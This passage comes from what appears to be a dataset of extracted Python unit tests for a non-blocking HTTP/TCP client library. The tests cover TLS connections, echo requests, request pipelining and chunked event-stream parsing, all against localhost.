u'/fancy?idify=true&jsonify=true'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n msgOut = request.build()\n lines = [\n b'GET /fancy?idify=true&jsonify=true HTTP/1.1',\n b'Host: 127.0.0.1:6061',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /fancy?idify=true&jsonify=true HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, request.head)\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.1 200 OK\\r\\n',\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Transfer-Encoding: chunked\\r\\n',\n b'Date: Thu, 30 Apr 2015 22:11:53 GMT\\r\\n',\n b'Server: IoBook.local\\r\\n\\r\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs,\n method=method,\n dictable=True)\n\n lines = [\n b'd\\r\\nretry: 1000\\n\\n\\r\\n',\n b'6\\r\\nid: 0\\n\\r\\n'\n b'd\\r\\ndata: START\\n\\n\\r\\n',\n b'6\\r\\nid: 1\\n\\r\\n',\n b'12\\r\\ndata: {\"count\":1}\\n\\r\\n',\n b'1\\r\\n\\n\\r\\n',\n b'6\\r\\nid: 2\\n\\r\\n12\\r\\ndata: {\"count\":2}\\n\\r\\n1\\r\\n\\n\\r\\n',\n b'6\\r\\nid: 3\\n\\r\\n12\\r\\ndata: {\"count\":3}\\n\\r\\n1\\r\\n\\n\\r\\n',\n b'6\\r\\nid: 4\\n\\r\\n12\\r\\ndata: {\"count\":4}\\n\\r\\n1\\r\\n\\n\\r\\n',\n ]\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = Timer(duration=0.5)\n while response.parser and not timer.expired:\n alpha.serviceTxesAllIx()\n response.parse()\n beta.serviceReceives()\n time.sleep(0.01)\n\n if response.parser:\n response.parser.close()\n response.parser = None\n\n response.dictify()\n\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.eventSource.retry, 1000)\n self.assertEqual(response.retry, response.eventSource.retry)\n self.assertTrue(int(response.eventSource.leid) >= 2)\n self.assertEqual(response.leid, response.eventSource.leid)\n self.assertTrue(len(response.events) > 2)\n event = response.events.popleft()\n self.assertEqual(event, {'id': '0', 'name': '', 'data': 'START'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '1', 'name': '', 'data': {'count': 1}})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '2', 'name': '', 'data': {'count': 2}})\n self.assertTrue(len(response.body) == 0)\n self.assertTrue(len(response.eventSource.raw) == 0)\n\n alpha.close()\n beta.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestStreamFancyJsonChunked", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 974 }, { "content": " def testNonBlockingRequestEchoTLS(self):\n \"\"\"\n Test NonBlocking HTTPS (TLS/SSL) client\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestEchoTLS.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key\n serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert\n clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert\n\n clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key\n clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert\n serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert\n\n alpha = tcp.ServerTls(host='localhost',\n port = 6101,\n bufsize=131072,\n wlog=wireLogAlpha,\n context=None,\n version=None,\n certify=None,\n keypath=serverKeypath,\n certpath=serverCertpath,\n cafilepath=clientCafilepath,\n )\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('127.0.0.1', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname\n\n beta = tcp.ClientTls(ha=alpha.ha,\n bufsize=131072,\n wlog=wireLogBeta,\n context=None,\n version=None,\n certify=None,\n hostify=None,\n certedhost=serverCertCommonName,\n keypath=clientKeypath,\n certpath=clientCertpath,\n cafilepath=serverCafilepath,\n )\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting and Handshaking beta to alpha\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.connected and len(alpha.ixes) >= 1:\n break\n time.sleep(0.01)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertIs(beta.connected, True)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6061\n method = u'GET'\n path = u'/echo?name=fame'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n msgOut = request.build()\n lines = [\n b'GET /echo?name=fame HTTP/1.1',\n b'Host: 127.0.0.1:6061',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, b'GET /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n msgOut = b'HTTP/1.1 200 OK\\r\\nContent-Length: 122\\r\\nContent-Type: application/json\\r\\nDate: Thu, 30 Apr 2015 19:37:17 GMT\\r\\nServer: IoBook.local\\r\\n\\r\\n{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}'\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs, method=method)\n while response.parser:\n response.parse()\n\n response.dictify()\n\n #self.assertEqual(bytes(response.body), b'{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}')\n self.assertEqual(bytes(response.body), b'')\n self.assertEqual(response.data, {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'}\n )\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.headers.items(), [('content-length', '122'),\n ('content-type', 'application/json'),\n ('date', 'Thu, 30 Apr 2015 19:37:17 GMT'),\n ('server', 'IoBook.local')])\n\n alpha.close()\n beta.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestEchoTLS", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 1133 }, { "content": " def testPatronRequestEcho(self):\n \"\"\"\n Test Patron request echo non blocking\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testPatronRequestEcho.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n console.terse(\"{0}\\n\".format(\"Building Connector ...\\n\"))\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n host = alpha.eha[0]\n port = alpha.eha[1]\n method = u'GET'\n path = u'/echo?name=fame'\n headers = odict([(u'Accept', u'application/json')])\n\n\n beta = clienting.Patron(bufsize=131072,\n wlog=wireLogBeta,\n hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers,\n )\n\n self.assertIs(beta.connector.reopen(), True)\n self.assertIs(beta.connector.accepted, False)\n self.assertIs(beta.connector.connected, False)\n self.assertIs(beta.connector.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.connector.serviceConnect()\n alpha.serviceConnects()\n if beta.connector.connected and beta.connector.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.connector.accepted, True)\n self.assertIs(beta.connector.connected, True)\n self.assertIs(beta.connector.cutoff, False)\n self.assertEqual(beta.connector.ca, beta.connector.cs.getsockname())\n self.assertEqual(beta.connector.ha, beta.connector.cs.getpeername())\n self.assertEqual(alpha.eha, beta.connector.ha)\n\n ixBeta = alpha.ixes[beta.connector.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.connector.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.connector.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.connector.ca)\n self.assertEqual(ixBeta.ha, beta.connector.ha)\n\n msgOut = beta.requester.build()\n lines = [\n b'GET /echo?name=fame HTTP/1.1',\n b'Host: 127.0.0.1:6101',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, beta.requester.lines[i])\n\n self.assertEqual(beta.requester.head, b'GET /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, b'GET /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n\n console.terse(\"Beta requests to Alpha\\n\")\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n beta.connector.tx(msgOut)\n while beta.connector.txes and not ixBeta.rxbs :\n beta.connector.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n msgOut = b'HTTP/1.1 200 OK\\r\\nContent-Length: 122\\r\\nContent-Type: application/json\\r\\nDate: Thu, 30 Apr 2015 19:37:17 GMT\\r\\nServer: IoBook.local\\r\\n\\r\\n{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}'\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.connector.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.connector.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.connector.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n\n while beta.respondent.parser:\n beta.respondent.parse()\n\n beta.respondent.dictify()\n\n self.assertEqual(bytes(beta.respondent.body), b'')\n self.assertEqual(beta.respondent.data, {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'}\n )\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertEqual(beta.respondent.headers.items(), [('content-length', '122'),\n ('content-type', 'application/json'),\n ('date', 'Thu, 30 Apr 2015 19:37:17 GMT'),\n ('server', 'IoBook.local')])\n\n alpha.close()\n beta.connector.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testPatronRequestEcho", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 1290 }, { "content": " def testPatronServiceEcho(self):\n \"\"\"\n Test Patron service request response of echo non blocking\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testPatronServiceEcho.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n console.terse(\"{0}\\n\".format(\"Building Connector ...\\n\"))\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n host = alpha.eha[0]\n port = alpha.eha[1]\n method = u'GET'\n path = u'/echo?name=fame'\n headers = odict([(u'Accept', u'application/json')])\n\n\n beta = clienting.Patron(bufsize=131072,\n wlog=wireLogBeta,\n hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers,\n )\n\n self.assertIs(beta.connector.reopen(), True)\n self.assertIs(beta.connector.accepted, False)\n self.assertIs(beta.connector.connected, False)\n self.assertIs(beta.connector.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.connector.serviceConnect()\n alpha.serviceConnects()\n if beta.connector.connected and beta.connector.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.connector.accepted, True)\n self.assertIs(beta.connector.connected, True)\n self.assertIs(beta.connector.cutoff, False)\n self.assertEqual(beta.connector.ca, beta.connector.cs.getsockname())\n self.assertEqual(beta.connector.ha, beta.connector.cs.getpeername())\n self.assertEqual(alpha.eha, beta.connector.ha)\n\n ixBeta = alpha.ixes[beta.connector.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.connector.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.connector.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.connector.ca)\n self.assertEqual(ixBeta.ha, beta.connector.ha)\n\n beta.transmit()\n\n lines = [\n b'GET /echo?name=fame HTTP/1.1',\n b'Host: 127.0.0.1:6101',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, beta.requester.lines[i])\n\n msgOut = beta.connector.txes[0]\n self.assertEqual(beta.requester.head, b'GET /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, b'GET /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n\n console.terse(\"Beta requests to Alpha\\n\")\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n\n while beta.connector.txes and not ixBeta.rxbs :\n beta.serviceAll()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n console.terse(\"Beta processes response \\n\")\n msgOut = b'HTTP/1.1 200 OK\\r\\nContent-Length: 122\\r\\nContent-Type: application/json\\r\\nDate: Thu, 30 Apr 2015 19:37:17 GMT\\r\\nServer: IoBook.local\\r\\n\\r\\n{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}'\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.respondent.ended:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n self.assertEqual(len(beta.responses), 1)\n\n self.assertEqual(bytes(beta.respondent.body), b'')\n self.assertEqual(beta.respondent.data, {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'}\n )\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertEqual(beta.respondent.headers.items(), [('content-length', '122'),\n ('content-type', 'application/json'),\n ('date', 'Thu, 30 Apr 2015 19:37:17 GMT'),\n ('server', 'IoBook.local')])\n\n alpha.close()\n beta.connector.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testPatronServiceEcho", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 1420 }, { "content": " def testPatronPipelineEcho(self):\n \"\"\"\n Test Patron pipeline servicing\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testPatronPipelineEcho.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n console.terse(\"{0}\\n\".format(\"Building Connector ...\\n\"))\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n host = alpha.eha[0]\n port = alpha.eha[1]\n\n beta = clienting.Patron(bufsize=131072,\n wlog=wireLogBeta,\n hostname=host,\n port=port,\n reconnectable=True,\n )\n\n self.assertIs(beta.connector.reopen(), True)\n self.assertIs(beta.connector.accepted, False)\n self.assertIs(beta.connector.connected, False)\n self.assertIs(beta.connector.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.connector.serviceConnect()\n alpha.serviceConnects()\n if beta.connector.connected and beta.connector.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.connector.accepted, True)\n self.assertIs(beta.connector.connected, True)\n self.assertIs(beta.connector.cutoff, False)\n self.assertEqual(beta.connector.ca, beta.connector.cs.getsockname())\n self.assertEqual(beta.connector.ha, beta.connector.cs.getpeername())\n self.assertEqual(alpha.eha, beta.connector.ha)\n\n ixBeta = alpha.ixes[beta.connector.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.connector.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.connector.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.connector.ca)\n self.assertEqual(ixBeta.ha, beta.connector.ha)\n\n request = odict([('method', u'GET'),\n ('path', u'/echo?name=fame'),\n ('qargs', odict()),\n ('fragment', u''),\n ('headers', odict([('Accept', 'application/json')])),\n ('body', None),\n ])\n\n beta.requests.append(request)\n\n console.terse(\"Beta requests to Alpha\\n\")\n console.terse(\"from {0}:{1}, {2} {3} ...\\n\".format(beta.connector.ha[0],\n beta.connector.ha[1],\n request['method'],\n request['path']))\n\n while (beta.requests or beta.connector.txes) and not ixBeta.rxbs :\n beta.serviceAll()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n msgOut = b'GET /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n'\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n console.terse(\"Beta processes response \\n\")\n msgOut = b'HTTP/1.1 200 OK\\r\\nContent-Length: 122\\r\\nContent-Type: application/json\\r\\nDate: Thu, 30 Apr 2015 19:37:17 GMT\\r\\nServer: IoBook.local\\r\\n\\r\\n{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}'\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.respondent.ended:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'request':\n {'host': '127.0.0.1',\n 'port': 6101,\n 'scheme': 'http',\n 'method': 'GET',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n }\n })\n\n beta.requests.append(request)\n\n console.terse(\"\\nBeta requests to Alpha again\\n\")\n console.terse(\"from {0}:{1}, {2} {3} ...\\n\".format(beta.connector.ha[0],\n beta.connector.ha[1],\n request['method'],\n request['path']))\n\n while ( beta.requests or beta.connector.txes) and not ixBeta.rxbs :\n beta.serviceAll()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n msgOut = b'GET /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n'\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n console.terse(\"Beta processes response \\n\")\n msgOut = b'HTTP/1.1 200 OK\\r\\nContent-Length: 122\\r\\nContent-Type: application/json\\r\\nDate: Thu, 30 Apr 2015 19:37:17 GMT\\r\\nServer: IoBook.local\\r\\n\\r\\n{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}'\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.respondent.ended:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'request': {'host': '127.0.0.1',\n 'port': 6101,\n 'scheme': 'http',\n 'method': 'GET',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers': {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n }\n })\n\n alpha.close()\n beta.connector.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testPatronPipelineEcho", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 1549 }, { "content": " def mockEchoService(self, server):\n \"\"\"\n mock echo server service\n \"\"\"\n server.serviceConnects()\n if server.ixes:\n server.serviceReceivesAllIx()\n\n ixClient = server.ixes.values()[0]\n msgIn = bytes(ixClient.rxbs)\n if msgIn== b'GET /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n':\n ixClient.clearRxbs()\n msgOut = b'HTTP/1.1 200 OK\\r\\nContent-Length: 122\\r\\nContent-Type: application/json\\r\\nDate: Thu, 30 Apr 2015 19:37:17 GMT\\r\\nServer: IoBook.local\\r\\n\\r\\n{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}'\n ixClient.tx(msgOut)\n msgIn = b''\n msgOut = b''\n\n server.serviceTxesAllIx()", "metadata": "root.BasicTestCase.mockEchoService", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 1752 }, { "content": " def testPatronPipelineEchoSimple(self):\n \"\"\"\n Test Patron pipeline servicing\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testPatronPipelineEchoSimple.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n console.terse(\"{0}\\n\".format(\"Building Connector ...\\n\"))\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n host = alpha.eha[0]\n port = alpha.eha[1]\n\n beta = clienting.Patron(bufsize=131072,\n wlog=wireLogBeta,\n hostname=host,\n port=port,\n reconnectable=True,\n )\n\n self.assertIs(beta.connector.reopen(), True)\n self.assertIs(beta.connector.accepted, False)\n self.assertIs(beta.connector.connected, False)\n self.assertIs(beta.connector.cutoff, False)\n\n request = odict([('method', u'GET'),\n ('path', u'/echo?name=fame'),\n ('qargs', odict()),\n ('fragment', u''),\n ('headers', odict([('Accept', 'application/json')])),\n ('body', None),\n ])\n\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockEchoService(alpha)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'request':\n {'host': '127.0.0.1',\n 'port': 6101,\n 'scheme': 'http',\n 'method': 'GET',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n }\n })\n\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockEchoService(alpha)\n time.sleep(0.05)\n 